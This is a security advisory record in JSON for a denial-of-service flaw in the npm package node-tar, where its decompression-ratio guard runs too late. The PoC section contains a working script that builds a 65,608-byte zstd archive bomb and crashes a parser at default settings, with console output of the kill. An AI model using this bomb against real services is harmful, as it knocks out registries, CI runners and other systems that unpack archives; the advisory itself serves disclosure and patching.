{"id":"GHSA-9239-v992-p74f","summary":"node-tar: Denial of service via unbounded memory allocation bypassing maxDecompressionRatio","details":"### Summary\n\nThe `maxDecompressionRatio` guard `tar` added for GHSA-23hp-3jrh-7fpw is evaluated *after* node zlib has already materialized the inflated output, so it observes an allocation rather than bounding one. A remote, unauthenticated party who can hand `tar.t()`/`tar.x()` an archive can deny service with 65,608 bytes, at stock settings.\n\n### Details\n\nThe check runs from the decompressor's `'data'` event, which fires once per call to node zlib's *synchronous* `_processChunk` — by then that input chunk's entire inflated output is resident:\n\n```ts\n// src/parse.ts:550-555\nthis[UNZIP].on('data', chunk =\u003e {\n  if (this[CHECKDECOMPRESSIONRATIO](chunk)) {\n    this[CONSUMECHUNK](chunk)\n  }\n})\n```\n\nCompressed bytes are credited per `write()`, so the guard's resolution is the *caller's write size*, not the codec's output: a single large write front-loads the whole `inputSize × 1000` budget before the ratio is evaluated even once, and `tar`'s own file-reading helpers write up to 16 MB at a time. The decompressors are built with no `maxOutputLength`, so nothing else caps that chunk.\n\nThe single ratio constant of 1000 was calibrated to DEFLATE's ~1032:1 ceiling. zstd reaches ~32,700:1 and brotli ~1,230,000:1, so on those codecs the expansion completes inside one chunk whatever the write size. zstd requires no caller opt-in — it is auto-sniffed by 4-byte magic whenever `this.zstd !== false`, the default.\n\nA third path needs no decompression. Both parse loops stop at the tar EOF marker; the buffering does not:\n\n```ts\n// src/parse.ts:599-603, 670\nwhile (this[BUFFER] && this[BUFFER].length && !this[SAW_EOF]) { … }\n…\n[BUFFERCONCAT](c: Buffer) {\n  if (c && !this[ABORTED]) {\n    this[BUFFER] = this[BUFFER] ? Buffer.concat([this[BUFFER], c]) : c\n  }\n}\n```\n\nOnce `SAW_EOF` is set, `position` never advances, so every subsequent `write()` appends its chunk with nothing draining it — and `write()`'s return value never reflects `SAW_EOF`, so a piping producer gets no signal to slow down.\n\n### PoC\n\n```js\n// poc.js — from a clean `npm i tar@7.5.22`, driven only through tar's public API.\n// Builds a 65,608-byte zstd archive that expands to 2 GiB, then feeds it to tar.t()\n// at DEFAULT options in 64 KiB writes: no zstd opt-in (it is auto-detected by magic\n// bytes) and no ratio override. The attacker controls only the archive bytes.\nconst fs = require('fs');\nconst z = require('zlib');\nconst tar = require('tar');\n\nfunction buildHeader({ size, name = 'payload' }) {\n  const h = Buffer.alloc(512);\n  h.write(name); h.write('0000644\\0', 100); h.write('0000000\\0', 108); h.write('0000000\\0', 116);\n  h.write(size.toString(8).padStart(11, '0') + '\\0', 124);\n  h.write('00000000000\\0', 136); h.write('        ', 148); h.write('0', 156); h.write('ustar  \\0', 257);\n  let s = 0; for (let i = 0; i \u003c 512; i++) s += h[i];\n  h.write(s.toString(8).padStart(6, '0') + '\\0 ', 148);\n  return h;\n}\n\nconst size = 2 * 1024 * 1024 * 1024;                 // declared entry size: 2 GiB\nconst h = buildHeader({ size });\nconst zc = z.createZstdCompress(), out = fs.createWriteStream('bomb.tar.zst');\nzc.pipe(out); zc.write(h);\nconst CH = Buffer.alloc(1 \u003c\u003c 20); let w = 0;\n(function loop() {\n  while (w \u003c size) { w += CH.length; if (!zc.write(CH)) { zc.once('drain', loop); return; } }\n  zc.write(Buffer.alloc(1024)); zc.end();\n  out.on('finish', run);\n})();\n\nfunction run() {\n  console.log('archive built:', fs.statSync('bomb.tar.zst').size, 'bytes; parsing...');\n  const p = tar.t({ onentry: () =\u003e {} });            // stock options\n  const b = fs.readFileSync('bomb.tar.zst');\n  for (let i = 0; i \u003c b.length; i += 65536) p.write(b.subarray(i, i + 65536));\n  p.end();\n}\n```\n\n```console\n## The node process prints one line and then dies mid-parse; the exit status and the\n## OOM flag below come from the container runtime, not from the script.\n\n$ npm i tar@7.5.22\n$ docker run --name tar-poc --network none --memory 512m --memory-swap 512m -v \"$PWD:/w\" -w /w node:22 node poc.js\narchive built: 65608 bytes; parsing...\n$ echo \"exit=$?\"\nexit=137\n$ docker inspect tar-poc --format '{{.State.OOMKilled}}'\ntrue\n\n## The archive is written before parsing starts, so it survives the kill:\n$ ls -l bomb.tar.zst\n-rw-r--r--  65608  bomb.tar.zst        # 65,608 bytes in, 2 GiB declared - ratio ~32,736:1\n\n## No \"max decompression ratio exceeded\" error precedes the kill, though that ratio is\n## ~32,736:1 against the default 1000:1 limit. 64 KiB input writes do not help: one zstd\n## frame expands past the cap inside a single synchronous _processChunk.\n```\n\n### Impact\n\nA remote, unauthenticated attacker who can get any service to run `tar.t()`/`tar.x()` on a supplied archive — registries, CI runners, artifact and backup services — denies service with a 65,608-byte zstd archive at default settings. The attacker sizes the allocation — the entry header declares it — so under a memory limit it is an immediate OOM kill, and without one, host-wide memory pressure.","aliases":["CVE-2026-140229"],"modified":"2026-12-05T18:45:16.930881714Z","published":"2026-12-05T00:16:01Z","database_specific":{"github_reviewed_at":"2026-12-05T00:16:01Z","nvd_published_at":"2026-12-01T17:17:35Z","cwe_ids":["CWE-770"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-9239-v992-p74f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140229"},{"type":"WEB","url":"https://github.com/isaacs/node-tar/commit/73b352e0010d6c99794ea7374800816a46d3bdb2"},{"type":"WEB","url":"https://github.com/isaacs/node-tar/commit/da66090c7a44b2140bd4a6343c478a8e411e1aa7"},{"type":"PACKAGE","url":"https://github.com/isaacs/node-tar"},{"type":"WEB","url":"https://github.com/isaacs/node-tar/releases/tag/v8.0.0"}],"affected":[{"package":{"name":"tar","ecosystem":"npm","purl":"pkg:npm/tar"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"8.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-9239-v992-p74f/GHSA-9239-v992-p74f.json"}}],"schema_version":"1.9.3","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}